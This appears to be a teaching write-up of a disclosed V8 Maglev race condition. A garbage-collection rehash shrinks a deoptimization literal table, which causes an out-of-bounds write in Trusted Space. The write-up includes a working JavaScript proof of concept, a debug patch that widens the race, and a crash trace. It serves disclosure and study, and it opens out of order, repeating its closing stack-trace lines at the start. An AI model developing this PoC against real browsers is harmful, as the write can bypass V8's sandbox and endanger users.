./d8(v8::base::Thread::NotifyStartedAndDispatch()+0x32) [0x55555f276d72]
./d8(+0x10a6f1b0) [0x555565fc31b0]
/lib/x86_64-linux-gnu/libpthread.so.0(+0x8609) [0x7ffff7f8b609]
/lib/x86_64-linux-gnu/libc.so.6(clone+0x43) [0x7ffff7d46353]
The author notes that the PoC can be refined further, for example by having multiple background threads run Maglev optimisation jobs concurrently, or by adding more deoptimization points to trigger additional Safepoint() + BuildLazyDeopt() cycles and widen the race window. Due to limited time and resources, the author only demonstrated the existence of the vulnerability and did not pursue further exploitation.
Root cause
The mistake is the ID assignment *res.entry = deopt_literals_->size() - 1, which assumes deopt_literals_ never shrinks. The map can shrink because IdentityMap::Rehash() drops duplicate keys, and duplicates are created by the shortcut strings optimisation in Mark-Compact GC: several ThinString keys with different addresses are forwarded to the same actual pointer, so after Rehash() they collapse into one entry. The IDs already handed out for the removed entries then exceed the new size, and GenerateDeoptimizationData() allocates literals with the smaller size but writes using the old IDs as indices.
The race window exists because EmitDeopts() calls heap()->Safepoint() before each BuildLazyDeopt(), and the main thread can run a Mark-Compact GC at that safe point while the Maglev background thread is still building deopt data.
The author dates the two ingredients: shortcut strings was introduced on 11/30/2017 in commit [redacted], and IdentityMap<int, base::DefaultAllocationPolicy> deopt_literals_; was introduced on 10/19/2022 in commit [redacted]. The vulnerability has therefore existed since at least 2022.
Impact
The report describes two primitives:
- Out of bounds write in Trusted Space.
raw_literalsis allocated in Trusted Space, so this OOB write can directly bypass the V8 heap sandbox. - Incorrect deoptimization. During deoptimization the runtime accesses
raw_literalsto retrieve the object corresponding to an ID, causing an OOB read ofraw_literalsand deoptimization with an incorrect object.
The author did not pursue further exploitation, so the report does not demonstrate a full exploit chain. The race is hard to win: when executed directly the probability is less than 1%, and with the usleep patch it rises to approximately 20%.
Fix
The report does not describe a fix or a patch that was applied. The only code change shown is the author's own debugging patch that adds usleep(500) to widen the race window, which is not a fix.
Variants to test
- Look for other
IdentityMapusers that store IDs derived fromsize() - 1and are populated across a safepoint. A positive result is a map whose size decreases after a Mark-Compact GC while previously assigned IDs are still in use. - Look for other places where shortcut strings can make distinct keys collapse to the same pointer. A positive result is a map with duplicate keys after GC that loses entries on
Rehash(). - Look for other compiler stages that call
Safepoint()between recording indices and allocating the array those indices address. A positive result is an index that exceeds the allocated array length at write time. - Run the PoC with several background compilation threads and more deoptimization points, as the author suggests, to see whether the crash rate rises without the
usleeppatch.
Reporter credit: 303f06e3.
What happened, in plain words
Chrome runs JavaScript, the programming language that makes web pages interactive. The part of Chrome that actually executes JavaScript is called V8. V8 does not simply read your code line by line forever; when it notices that a piece of code runs again and again, it translates that code into faster machine instructions. One of the translators inside V8 is called Maglev.
This report is about a mistake in Maglev. Under a very specific set of circumstances, Maglev can be made to write data past the end of a small internal list, into memory it does not own. In security terms that is called an out of bounds write. It is rated high severity, it was disclosed on 2026-05-27, and the reporter, credited as 303f06e3, received a bounty of 500.00 USD through the Chrome VRP (Chrome's Vulnerability Reward Program, a scheme that pays people for finding and reporting bugs).
The bug is not a mistake in how Maglev optimises code. It is a race condition: two parts of the program running at the same time, where the result depends on which one gets there first. One side is Maglev compiling code on a background thread. The other side is the garbage collector (GC), the part of V8 that tidies up memory by moving objects around and freeing the ones nobody uses. If the GC moves things at exactly the wrong moment, Maglev's bookkeeping shrinks, and later Maglev writes using numbers that no longer fit.
To follow the rest of this article you only need to know that a computer program stores things in memory at numbered addresses, a bit like houses on a street. Writing to address 10 when the street only has houses 1 to 6 is an out of bounds write.
Context
This is a Chrome VRP report against V8, the JavaScript engine used by Chrome. The weakness is an out of bounds write, rated high severity, and it was disclosed on 2026-05-27 with a bounty of 500.00 USD. The affected component is V8, and the bug lives in Maglev, V8's mid tier optimising compiler.
A few words first, because the rest of the article leans on them:
- An engine is the component of a browser that understands and runs a language. Chrome's engine for JavaScript is V8.
- A compiler turns code written by a human into instructions the processor can run directly. An optimising compiler does that with extra effort, producing faster code.
- Bytecode is a half way form: simple numbered instructions that are easier for a machine to process than source code but not yet machine instructions.
- Ignition is V8's interpreter, the component that reads bytecode and executes it one instruction at a time.
- Maglev is a compiler that sits between Ignition and the most aggressive optimiser. It takes bytecode and produces machine code.
Maglev compiles bytecode from Ignition into machine code. When the compiled code has to fall back to the interpreter at a deoptimization point, it needs to rebuild the Ignition frame exactly as it was. A frame is the little workspace a running function keeps: its local variables, which register holds what, and so on. Deoptimization means abandoning the fast compiled version mid flight and continuing in the slower interpreter, so the interpreter's workspace must be reconstructed faithfully.
MaglevFrameTranslationBuilder describes that reconstruction: it records statements such as "Ignition register r_x should be set to Maglev value node n_y". A register is a tiny, very fast storage slot inside the processor. A value node is Maglev's internal representation of a value in the code it is compiling. When the value node is a constant (a fixed value such as a number or a string), the constant object is recorded in an IdentityMap called deopt_literals_ and given an integer ID, which is later used to fetch the pointer back. An IdentityMap is a lookup table that maps an object to a number; think of a cloakroom that gives you a ticket number for your coat, and later you hand back the ticket to get the coat.
The report is explicit that this is not an optimisation logic bug. It is a race condition between IdentityMap and garbage collection inside Maglev.
Setup
V8 must be built with a debug configuration. A debug build is a version of the software compiled with extra checks switched on; those checks catch mistakes early and print loud errors instead of silently misbehaving. The PoC (proof of concept, a small program that demonstrates the bug) is run with d8, V8's shell. A shell here means a bare program that runs JavaScript without a browser around it, useful for testing. The flags are:
./d8 \
--expose-gc \
--allow-natives-syntax \
--no-lazy-feedback-allocation \
--jit-fuzzing \
./poc.js
Line by line:
./d8runs the V8 shell program from the current folder.--expose-gcmakes thegc()function available to JavaScript, so the test can ask for garbage collection on demand.--allow-natives-syntaxenables special internal functions written with a%sign, such as%InternalizeString, which normal JavaScript cannot call.- The report does not explain what
--no-lazy-feedback-allocationdoes. - The report does not explain what
--jit-fuzzingdoes; its PoC comment says the loop triggers concurrent Maglev optimisation, withMaglevCompiler::Compile()running on a background thread. JIT stands for just in time: compiling while the program runs rather than beforehand. ./poc.jsis the test file itself.
Because this is a race, the unmodified PoC wins with a probability below 1%. To widen the window the author patched V8 by adding a usleep call inside GetDeoptLiteral(Tagged<Object> obj), which raises the success rate to roughly 20%. usleep is a function that makes the current thread pause for a number of microseconds, which gives the other side of the race more time to act. The author suggests having an LLM generate a script to run the PoC in parallel using multiple threads.
Finding it
The starting point is IdentityMap, which implements a HeapObject Ptr => uintptr_t mapping. In plain words: it takes a pointer to an object on the V8 heap (the area where JavaScript objects live) and returns a number. When GC relocates objects it walks the pointers stored in keys_ and sets invalidated_ = true, so that the next lookup or insertion triggers a Rehash(). Relocating means moving an object to a new address, which is what a compacting GC does to squeeze free space together. Rehash() means rebuilding the table's internal layout so lookups still work after the moves.
class V8_EXPORT_PRIVATE IdentityMapBase : public GCRootsProvider {
...
base::hash<uintptr_t> hasher_;
Heap* heap_;
bool invalidated_; // Set to true by GC; once true, Rehash() is required
int size_;
int capacity_;
int mask_;
Address* keys_; // Array storing keys (i.e., HeapObject pointers)
uintptr_t* values_; // Array storing values (must be castable to uintptr_t)
bool is_iterable_;
};
Line by line:
class V8_EXPORT_PRIVATE IdentityMapBase : public GCRootsProvider {starts the definition of the table class.GCRootsProvidermeans the garbage collector is told about this table so it can update the pointers inside it.base::hash<uintptr_t> hasher_;is the tool that turns a pointer into a position in the table, the way a librarian turns a title into a shelf number.Heap* heap_;is a link back to the heap this table belongs to.bool invalidated_;is a yes/no flag. The comment says GC sets it to true, and once true aRehash()is required before the table can be trusted again.int size_;is how many entries the table currently holds.int capacity_;is how many slots the table has room for.int mask_;is a number used to fold a hash into the range of slots.Address* keys_;is the array of keys, that is, the object pointers. The comment spells this out.uintptr_t* values_;is the parallel array of values, one per key.bool is_iterable_;records whether someone is currently walking through the table.
During Rehash(), all misplaced keys are collected first, then InsertKey() is called to re-insert them. If InsertKey() encounters a duplicate key, the insertion is skipped. The consequence is that if duplicate pointers appear in IdentityMapBase::keys_ after GC, the duplicates are discarded after Rehash().
void IdentityMapBase::Rehash() {
// Cannot Rehash during MarkCompact or while iterable
DCHECK_NE(heap_->gc_state(), Heap::MARK_COMPACT);
CHECK(!is_iterable()); // Can't rehash while iterating.
// Mark as valid
invalidated_ = false;
// Save key-value pairs that need to be relocated
std::vector<std::pair<Address, uintptr_t>> reinsert;
// Find keys with incorrect hash positions and collect them for relocation
int last_empty = -1;
Address not_mapped = ReadOnlyRoots(heap_).not_mapped_symbol().ptr();
for (int i = 0; i < capacity_; i++) { // Iterate all entries
if (keys_[i] == not_mapped) { // Empty slot
last_empty = i;
} else { // Non-empty slot
// keys_[i] is the new object address; recompute correct position by hash
int pos = Hash(keys_[i]) & mask_;
if (pos <= last_empty || pos > i) {
// Entries at wrong positions need to be moved
reinsert.push_back(std::pair<Address, uintptr_t>(keys_[i], values_[i]));
// Remove from keys_ and values_
keys_[i] = not_mapped;
values_[i] = 0;
last_empty = i;
// Decrement entry count
size_--;
}
}
}
// Re-insert the misplaced key-value pairs
for (auto pair : reinsert) {
int index = InsertKey(pair.first, Hash(pair.first)).first;
DCHECK_GE(index, 0);
values_[index] = pair.second;
}
}
Line by line:
void IdentityMapBase::Rehash() {begins the rebuild function.DCHECK_NE(heap_->gc_state(), Heap::MARK_COMPACT);is a debug-only check that the GC is not in the middle of its Mark-Compact phase.DCHECKchecks only run in debug builds.CHECK(!is_iterable());refuses to rebuild while someone is walking the table, because moving entries under a walker would be unsafe.invalidated_ = false;clears the flag, because the table is about to be made valid again.std::vector<std::pair<Address, uintptr_t>> reinsert;creates an empty list to hold entries that will need to be put back.int last_empty = -1;remembers the most recent empty slot seen, starting with none.Address not_mapped = ReadOnlyRoots(heap_).not_mapped_symbol().ptr();fetches a special marker value that means "this slot is empty".for (int i = 0; i < capacity_; i++) {walks every slot in the table.if (keys_[i] == not_mapped) {asks whether this slot is empty.last_empty = i;if so, remember it.} else {otherwise the slot holds an entry.int pos = Hash(keys_[i]) & mask_;recomputes where this key should live, based on its current address.if (pos <= last_empty || pos > i) {decides whether the entry is in the wrong place.reinsert.push_back(std::pair<Address, uintptr_t>(keys_[i], values_[i]));saves the key and its value for re-insertion.keys_[i] = not_mapped;andvalues_[i] = 0;blank the slot.last_empty = i;andsize_--;update the bookkeeping: this slot is now empty and the entry count drops by one.- The final loop re-inserts each saved pair with
InsertKey. IfInsertKeyfinds the key already present, it does not add a second copy. That is the merge that matters later.
The second ingredient is the shortcut strings optimisation in Mark-Compact GC. Mark-Compact is a GC style that first marks which objects are still in use, then compacts the survivors together. If a slot holds a pointer to a ThinString object, it is replaced with the ThinString::actual pointer. A string is text. V8 sometimes stores a string as a small stand-in object, a ThinString, that points at the real text, the actual string. The shortcut says: instead of copying the stand-in during GC, just point straight at the real text.
inline bool TryEvacuateWithoutCopy(Tagged<HeapObject> object) {
DCHECK(!is_incremental_marking_);
if (!shortcut_strings_) return false;
Tagged<Map> map = object->map();
// Some objects can be evacuated without creating a copy.
if (map->visitor_id() == kVisitThinString) { // If it is a ThinString
// Get the actual string that ThinString points to
Tagged<HeapObject> actual = Cast<ThinString>(object)->unchecked_actual();
// If actual also needs evacuation, skip the optimization
if (MarkCompactCollector::IsOnEvacuationCandidate(actual)) return false;
// Replace the ThinString pointer directly with the actual pointer
object->set_map_word_forwarded(actual, kRelaxedStore);
return true;
}
// TODO(mlippautz): Handle ConsString.
return false;
}
Line by line:
inline bool TryEvacuateWithoutCopy(Tagged<HeapObject> object) {defines a function that tries to move an object without making a copy. Evacuation is GC's word for moving an object out of the way.DCHECK(!is_incremental_marking_);is a debug check that this is not a partial, incremental marking pass.if (!shortcut_strings_) return false;gives up if the shortcut feature is switched off.Tagged<Map> map = object->map();fetches the object's map, which is V8's record of what kind of object it is.if (map->visitor_id() == kVisitThinString) {checks whether the object is a ThinString.Tagged<HeapObject> actual = Cast<ThinString>(object)->unchecked_actual();gets the real string the ThinString points to.if (MarkCompactCollector::IsOnEvacuationCandidate(actual)) return false;skips the shortcut if the real string is itself about to be moved, because then the shortcut would be unsafe.object->set_map_word_forwarded(actual, kRelaxedStore);writes a forwarding marker so that every reference to the ThinString now resolves to the real string.return true;reports success. TheTODOcomment notes that a related string type,ConsString, is not handled yet.
If an IdentityMap contains multiple ThinString objects whose actual pointers are identical, Mark-Compact GC causes an unexpected side effect on the map: after Rehash(), the size of the IdentityMap decreases, because entries with now identical keys are merged. Picture four cloakroom tickets that all end up pointing at the same coat: the cloakroom now holds one coat, not four, and the ticket numbers for the other three no longer mean anything.
The third ingredient is how Maglev records deopt literals. GetDeoptLiteral() looks the constant up in deopt_literals_ and, if it is new, assigns it the ID deopt_literals_->size() - 1. In other words, the new entry gets the number one less than the current count, which is the position of the last slot.
class MaglevFrameTranslationBuilder {
int GetDeoptLiteral(Tagged<Object> obj) {
IdentityMapFindResult<int> res = deopt_literals_->FindOrInsert(obj);
if (!res.already_exists) {
DCHECK_EQ(0, *res.entry);
*res.entry = deopt_literals_->size() - 1;
}
return *res.entry;
}
IdentityMap<int, base::DefaultAllocationPolicy>* deopt_literals_;
...
}
Line by line:
class MaglevFrameTranslationBuilder {starts the class that builds the description of a frame for deoptimization.int GetDeoptLiteral(Tagged<Object> obj) {defines the function that returns the ID for a constant object.IdentityMapFindResult<int> res = deopt_literals_->FindOrInsert(obj);looks the object up in the table, inserting it if it is not there. The result says whether it already existed and where its value lives.if (!res.already_exists) {runs only for a brand new entry.DCHECK_EQ(0, *res.entry);is a debug check that the new slot starts at zero.*res.entry = deopt_literals_->size() - 1;stores the new ID: the current size minus one.return *res.entry;hands the ID back to the caller.IdentityMap<int, base::DefaultAllocationPolicy>* deopt_literals_;is the table itself, mapping objects to integer IDs.
The author illustrates with a GenericNegate deoptimization point, where r2:n19:[constant:v-1] means node n19 should be written to register r2 on deoptimization. GenericNegate is Maglev's internal operation for negating a number. n19 is a constant node, so GetDeoptLiteral(0x09b80104c641) records the pointer in deopt_literals_.
4/19: Constant(0x09b80104c641 <String[4]: >"2512">) -> v-1, live range: [4-24]
23/20: GenericNegate [v11/n2:[rax|R|t]] -> [rax|R|t], live range: [23-24]
input locations: 0x3a400f5c668 (6 slots)
-> lazy @9 : {<closure>:n3:[constant:v-1], <this>:n1:[stack:-6|t], a0:n2:[stack:-7|t], <context>:n4:[constant:v-1], r0:n11:[stack:0|t], r2:n19:[constant:v-1]} (addr:0x3a400f5a1a8)
24/21: CallBuiltin(KeyedStoreIC_Megamorphic) [v15/n11:[rdx|R|t], v4/n19:[rcx|R|t], v23/n20:[rax|R|t], v3/n4:[rsi|R|t]] -> [rax|R|t]
input locations: 0x3a400f5c6c8 (5 slots)
-> lazy @11 : {<closure>:n3:[constant:v-1], <this>:n1:[stack:-6|t], a0:n2:[stack:-7|t], <context>:n4:[constant:v-1], r0:n11:[stack:0|t]} (addr:0x3a400f5a390)
Line by line:
4/19: Constant(0x09b80104c641 <String[4]: >"2512">) -> v-1, live range: [4-24]says node 19 is a constant string with the text2512, and it is needed from step 4 to step 24 of the compiled code.23/20: GenericNegate ...is the negation operation at step 23, taking its input from registerraxand writing back torax.-> lazy @9 : {...}describes the lazy deoptimization frame for bytecode position 9. Lazy here means the deoptimization is deferred until the compiled code reaches a safe point. The braces list what each Ignition register must contain, andr2:n19:[constant:v-1]says registerr2must be restored from constant node 19.24/21: CallBuiltin(KeyedStoreIC_Megamorphic) ...is the following operation, a call into V8's built-in code for storing a property by key. It takes several inputs from registers.-> lazy @11 : {...}is the deoptimization frame for bytecode position 11, listing the registers that must be restored there.
The ID assignment algorithm *res.entry = deopt_literals_->size() - 1 is only correct under the assumption that deopt_literals_ never shrinks. Once it contracts, previously assigned IDs that exceed the new size no longer map to valid entries. If the cloakroom once held nine coats and now holds six, ticket number eight is meaningless.
That is exactly what happens in the PoC. After each BuildLazyDeopt() processes a deoptimization point, heap()->Safepoint() is called to enter a safe point. A safepoint is a moment where a thread pauses at a place the runtime knows about, so that GC can safely do its work. At each safe point the main thread may execute a Mark-Compact GC, which can cause deopt_literals_ to shrink.
bool MaglevCodeGenerator::EmitDeopts() {
...
__ RecordComment("-- Lazy deopts");
int last_updated_safepoint = 0;
for (LazyDeoptInfo* deopt_info : code_gen_state_.lazy_deopts()) {
local_isolate_->heap()->Safepoint();
translation_builder.BuildLazyDeopt(deopt_info);
...
}
...
}
Line by line:
bool MaglevCodeGenerator::EmitDeopts() {starts the function that emits deoptimization information into the generated code.__ RecordComment("-- Lazy deopts");writes a comment into the generated machine code, useful when reading a disassembly.int last_updated_safepoint = 0;initialises a counter.for (LazyDeoptInfo* deopt_info : code_gen_state_.lazy_deopts()) {loops over every recorded lazy deoptimization point.local_isolate_->heap()->Safepoint();pauses at a safe point. This is the door through which the GC can slip in.translation_builder.BuildLazyDeopt(deopt_info);builds the frame description for this deoptimization point, which is whereGetDeoptLiteralgets called.
Finally, execution reaches MaglevCodeGenerator::GenerateDeoptimizationData(). literals is created with size deopt_literals_.size(), and the stored IDs are used as indices when writing into it. When deopt_literals_ has shrunk, size <= max ID, resulting in an out of bounds write.
Handle<DeoptimizationData> MaglevCodeGenerator::GenerateDeoptimizationData(
LocalIsolate* local_isolate) {
...
// Create the literal array with size deopt_literals_.size()
DirectHandle<DeoptimizationLiteralArray> literals =
local_isolate->factory()->NewDeoptimizationLiteralArray(
static_cast<uint32_t>(deopt_literals_.size()));
...
// Write into the literal array
Tagged<DeoptimizationLiteralArray> raw_literals = *literals;
{
// Copy deopt_literals_ into raw_literals
IdentityMap<int, base::DefaultAllocationPolicy>::IteratableScope iterate(
&deopt_literals_);
for (auto it = iterate.begin(); it != iterate.end(); ++it) {
raw_literals->set(*it.entry(), it.key()); // <=== Crash here
}
}
...
return data;
}
Line by line:
Handle<DeoptimizationData> MaglevCodeGenerator::GenerateDeoptimizationData(begins the function that packages the deoptimization information into an object.DirectHandle<DeoptimizationLiteralArray> literals =starts creating the array that will hold the constants.local_isolate->factory()->NewDeoptimizationLiteralArray(asks V8's object factory to allocate it.static_cast<uint32_t>(deopt_literals_.size()));sets its length to the current size of the table. If the table shrank, this length is now too small.Tagged<DeoptimizationLiteralArray> raw_literals = *literals;gets a direct reference to the array.IdentityMap<int, base::DefaultAllocationPolicy>::IteratableScope iterate(&deopt_literals_);opens a scope for walking the table.for (auto it = iterate.begin(); it != iterate.end(); ++it) {walks every entry.raw_literals->set(*it.entry(), it.key());writes the object pointer into the array at the position given by its stored ID. If an ID is larger than the array length, this write lands outside the array. The comment marks this as the crash site.
Exploitation
The overall timing when the crash is triggered is as follows:
Maglev Background Thread GC Main Thread
| |
1. GetDeoptLiteral("2512")*4 |
| 4 ThinStrings "2512" inserted |
| each has a different address |
| assigned idx = 5,6,7,8 |
| deopt_literals_.size = 9 |
| |
-------+------- safepoint pause -----------------+---
| |
| Mark-Compact GC
| 2. TryEvacuateWithoutCopy()
| | Shortcut Evacuate ThinStrings:
| | no copy, forward to actual
| | 4 different addrs -> same actual addr
| |
| 3. deopt_literals_.Iterate():
| | update map keys
| | 4 keys -> same addr
| |
| 4. deopt_literals_.GCEpilogueInSafepoint():
| | invalidated_ = true
| |
-------+------- safepoint resume ----------------+---
| |
5. FindOrInsert() |
| invalidated_=true => Rehash() |
| 4 duplicate keys merged into 1 |
| deopt_literals_ size: 9 => 6 |
| |
6. GenerateDeoptimizationData(): |
| 6.1 allocate `literals` |
| NewDeoptimizationLiteralArray( |
| deopt_literals_.size() |
| ) |
| literals.size = 6 |
| |
| 6.2 copy |
| for (it : deopt_literals_) { |
| raw_literals->set( |
| *it.entry(), // idx |
| it.key() // object ptr |
| ); |
| } |
| set(5, ...) ok |
| set(8, ...) idx 8 >= len 6 -> OOB! |
| |
Reading the diagram: the left column is the background thread compiling Maglev code, the right column is the main thread running GC. Time flows downwards. The two horizontal lines mark the safepoint pause and resume. Steps 1 to 6 are:
- The background thread records four constants with the text
2512, each a different ThinString object at a different address, and gives them IDs 5, 6, 7 and 8. The table now holds 9 entries. - At the safepoint, the main thread runs a Mark-Compact GC. The shortcut forwards all four ThinStrings to the same real string, so four different addresses become one.
- The GC updates the table's keys, and four keys become the same address.
- The GC marks the table as invalidated.
- Back on the background thread, the next lookup sees the flag and rehashes. The four duplicate keys merge into one, and the table shrinks from 9 entries to 6.
- When the deoptimization data is generated, the array is allocated with length 6, but the old IDs are still used as positions. Writing at position 5 is fine; writing at position 8 is past the end of a 6 slot array, which is the out of bounds write.
Step 1: create distinct strings with identical content
The PoC starts by producing several SeqString objects with the same content. A SeqString is V8's ordinary, contiguous string. BigInt::ToString() allocates a new SeqString every time, without caching or deduplication, so multiple objects representing the same string content are created. A BigInt is JavaScript's type for very large whole numbers.
function makeSeqString(bigInt) {
/*
BigInt::ToString() allocates a new SeqString every time
without any caching or deduplication, so multiple SeqString
objects representing the same string content are created.
*/
return bigInt.toString();
}
// Create SeqString objects with identical content.
// Note: s0, s1, ... point to different SeqString objects.
let x = 2512n;
let s0 = makeSeqString(x);
let s1 = makeSeqString(x);
let s2 = makeSeqString(x);
let s3 = makeSeqString(x);
Line by line:
function makeSeqString(bigInt) {defines a helper that takes a BigInt.return bigInt.toString();converts it to text. The comment explains that each call makes a fresh string object rather than reusing one.let x = 2512n;creates a BigInt with the value 2512. Thensuffix marks it as a BigInt.let s0 = makeSeqString(x);and the next three lines each produce a separate string object with the same text. They are equal in content but different objects at different addresses, which is the point: the bug needs several distinct objects that later become one.
Step 2: internalise the strings into ThinStrings
The strings are then internalised, which produces multiple ThinString objects that share the same actual pointer. Internalising a string means putting it in a single shared table so that identical strings can be recognised as equal quickly. The comment notes that in a real exploit this can be achieved via let o = {}; o[str] = 0;, which enters Runtime_DefineKeyedOwnIC_Miss(). That is an ordinary JavaScript property assignment on an object, which also causes internalisation.
// Internalize strings to produce multiple ThinString objects
// that share the same actual pointer.
// In a real exploit, this can be achieved via
// `let o = {}; o[str] = 0;` which enters Runtime_DefineKeyedOwnIC_Miss().
%InternalizeString(s0);
%InternalizeString(s1);
%InternalizeString(s2);
%InternalizeString(s3);
Line by line:
- The comment explains the goal: turn the four strings into ThinStrings that all point at one shared real string.
%InternalizeString(s0);and the next three lines call V8's internal function on each string. The%prefix is only available because of the--allow-natives-syntaxflag. After this, eachs0tos3is a ThinString whoseactualis the same shared string.
Step 3: force the constants into deopt_literals_
The opt function performs four keyed stores of the form o[sN] = -x. A keyed store is assigning a property using a computed key, as in o[s0] = .... Each statement compiles to two bytecodes, Negate FBV[0] and SetKeyedProperty r0, r2, FBV[1], and Maglev generates a GenericNegate node followed by a CallBuiltin(KeyedStoreIC_Megamorphic) node. If GenericNegate triggers a lazy deopt, the subsequent SetKeyedProperty still needs r2, so the deopt frame must restore the constant node n19 into Ignition register r2. That constant is a ThinString, so BuildDeoptFrameSingleValue() calls GetDeoptLiteral(*value->Reify(local_isolate_)) and adds it to deopt_literals_. Doing this four times inserts the four ThinString pointers.
function opt(x) {
let o = {};
/*
This statement compiles to two bytecodes:
9 : 5d 00 Negate FBV[0]
11 : 3c f9 f7 01 SetKeyedProperty r0, r2, FBV[1]
Maglev optimization generates the following two nodes:
23/20: GenericNegate [v11/n2:[rax|R|t]] -> [rax|R|t], live range: [23-24]
input locations: 0x3a400f5c668 (6 slots)
-> lazy @9 : {<closure>:n3:[constant:v-1], ..., r2:n19:[constant:v-1]}
24/21: CallBuiltin(KeyedStoreIC_Megamorphic) [v15/n11:[rdx|R|t], ...]
-> lazy @11 : {<closure>:n3:[constant:v-1], ..., r0:n11:[stack:0|t]}
If GenericNegate triggers a lazy deopt, the subsequent
SetKeyedProperty still needs to access r2. Therefore,
the deopt frame must restore value node `n19:[constant:v-1]`
into Ignition register r2.
n19 is a constant node pointing to a ThinString object:
4/19: Constant(0x09b80104c641 <String[4]: >"2512">) -> v-1
So BuildDeoptFrameSingleValue() calls
`GetDeoptLiteral(*value->Reify(local_isolate_))` to add it
to `deopt_literals_`.
*/
o[s0] = -x;
// Similarly, these insert s1, s2, s3 ThinString pointers into deopt_literals_
o[s1] = -x;
o[s2] = -x;
o[s3] = -x;
// At this point, deopt_literals_ contains s0, s1, s2, s3:
// four ThinString objects that share the same actual pointer.
return o;
}
Line by line:
function opt(x) {defines the function that will be optimised by Maglev.let o = {};creates an empty object to store into.- The comment block explains the compilation.
Negate FBV[0]is bytecode that negates a value;FBVstands for feedback vector, the place where V8 records what it has learned about the code.SetKeyedProperty r0, r2, FBV[1]is bytecode that stores a property using registersr0andr2. - The comment then shows the two Maglev nodes:
GenericNegateandCallBuiltin(KeyedStoreIC_Megamorphic).KeyedStoreIC_Megamorphicis V8's general purpose handler for storing a property by key when many different object shapes have been seen. - The comment explains why the constant ends up in the deopt frame: if the negation deoptimises, the following store still needs
r2, so the frame must restore it from noden19. - The comment notes that
n19is the constant string2512, soGetDeoptLiteralrecords it. o[s0] = -x;performs the store with the first string as the key and the negated value as the value.o[s1] = -x;,o[s2] = -x;ando[s3] = -x;do the same with the other three strings, inserting all four ThinString pointers into the table.return o;returns the object.
Step 4: race compilation against GC
The loop triggers concurrent Maglev optimisation via jit-fuzzing, so MaglevCompiler::Compile() runs on a background thread. The gc({type: "major"}) call then triggers a major GC on the main thread to race with that background thread. A major GC is a full collection of the whole heap, as opposed to a smaller, quicker one.
/*
Trigger concurrent Maglev optimization via jit-fuzzing + loop.
MaglevCompiler::Compile() will execute on a background thread.
*/
for(let i=0; i<40; i++) {
opt(1234n);
}
// Trigger GC on the main thread to race with the background thread
gc({type: "major"});
Line by line:
- The comment explains the intent: run the function enough times that Maglev decides to compile it, and make that compilation happen on a background thread.
for(let i=0; i<40; i++) {repeats 40 times.opt(1234n);calls the function with a BigInt argument, exercising the code path that records the constants.gc({type: "major"});asks for a full garbage collection on the main thread. The hope is that it lands exactly while the background thread is between recording constants and building the final array.
Step 5: widen the window with a patch
To make the race winnable, the author patched src/maglev/maglev-code-generator.cc to sleep inside GetDeoptLiteral:
diff --git a/src/maglev/maglev-code-generator.cc b/src/maglev/maglev-code-generator.cc
index ebcf443b845..9383a3fdaf0 100644
--- a/src/maglev/maglev-code-generator.cc
+++ b/src/maglev/maglev-code-generator.cc
@@ -6,6 +6,7 @@
#include <algorithm>
#include <fstream>
+#include <unistd.h>
#include "absl/container/flat_hash_map.h"
#include "src/base/hashmap.h"
@@ -1724,6 +1725,7 @@ class MaglevFrameTranslationBuilder {
DCHECK_EQ(0, *res.entry);
*res.entry = deopt_literals_->size() - 1;
}
+ usleep(500);
return *res.entry;
}
Line by line:
diff --git a/src/maglev/maglev-code-generator.cc b/src/maglev/maglev-code-generator.ccsays which file is being changed. A diff is a patch showing lines added and removed.index ebcf443b845..9383a3fdaf0 100644identifies the before and after versions of the file.--- a/src/maglev/maglev-code-generator.ccand+++ b/src/maglev/maglev-code-generator.ccname the old and new file.@@ -6,6 +6,7 @@is a hunk header: it says the change starts around line 6 and that one line is added.#include <unistd.h>is added so the code can callusleep, a system function for pausing.@@ -1724,6 +1725,7 @@ class MaglevFrameTranslationBuilder {is the second hunk, around line 1724.+ usleep(500);is the added line: pause for 500 microseconds insideGetDeoptLiteral, right after assigning the ID. This gives the GC time to run while the background thread is still working, widening the race window.
With this patch the crash appears as a debug check failure in fixed-array-inl.h:
#
# Fatal error in ../../src/objects/fixed-array-inl.h, line 160
# Debug check failed: IsInBounds(index).
#
#
#
#FailureMessage Object: 0x7fffee2ebab8
==== C stack trace ===============================
./d8(v8::base::debug::StackTrace::StackTrace()+0x29) [0x555565fcec09]
./d8(+0x10a75aed) [0x555565fc9aed]
./d8(v8::base::PrintStackTraceIfAvailable()+0x14) [0x555565fa4464]
./d8(V8_Fatal(char const*, int, char const*, ...)+0x1f9) [0x555565fa4c19]
./d8(+0x10a504dc) [0x555565fa44dc]
./d8(V8_Dcheck(char const*, int, char const*)+0x4d) [0x555565fa4d1d]
./d8(v8::internal::TaggedArrayBase<v8::internal::TrustedWeakFixedArray, v8::internal::TrustedWeakFixedArrayShape, v8::internal::TrustedObject>::set(unsigned int, v8::internal::Tagged<v8::internal::Union<v8::internal::Smi, v8::internal::HeapObject, v8::internal::Weak<v8::internal::HeapObject>>>, v8::internal::WriteBarrierMode)+0x81) [0x555560e6cbb1]
./d8(v8::internal::DeoptimizationLiteralArray::set(int, v8::internal::Tagged<v8::internal::Object>)+0x1d5) [0x555560e61305]
./d8(v8::internal::maglev::MaglevCodeGenerator::GenerateDeoptimizationData(v8::internal::LocalIsolate*)+0x79c) [0x555560d24e8c]
./d8(v8::internal::maglev::MaglevCodeGenerator::BuildCodeObject(v8::internal::LocalIsolate*)+0xb4) [0x555560d240f4]
./d8(v8::internal::maglev::MaglevCodeGenerator::Assemble()+0x78) [0x555560d23bb8]
./d8(v8::internal::maglev::MaglevCompiler::Compile(v8::internal::LocalIsolate*, v8::internal::maglev::MaglevCompilationInfo*)+0xa89) [0x555560e8d139]
./d8(v8::internal::maglev::MaglevCompilationJob::ExecuteJobImpl(v8::internal::RuntimeCallStats*, v8::internal::LocalIsolate*)+0x69) [0x5555610e1759]
./d8(v8::internal::OptimizedCompilationJob::ExecuteJob(v8::internal::RuntimeCallStats*, v8::internal::LocalIsolate*)+0x12d) [0x55555f6906cd]
./d8(v8::internal::maglev::MaglevConcurrentDispatcher::JobTask::Run(v8::JobDelegate*)+0x1ec) [0x5555610e394c]
./d8(v8::platform::DefaultJobWorker::Run()+0xbe) [0x555565fd166e]
./d8(v8::platform::DefaultWorkerThreadsTaskRunner::WorkerThread::Run()+0xac) [0x555565fe066c]
./d8(v8::base::Thread::Dispatch()+0x16) [0x55555f276e06]
./d8(v8::base::Thread::NotifyStartedAndDispatch()+0x32) [0x55555f276d72]
./d8(+0x10a6f1b0) [0x555565fc31b0]
/lib/x86_64-linux-gnu/libpthread.so.0(+0x8609) [0x7ffff7f8b609]
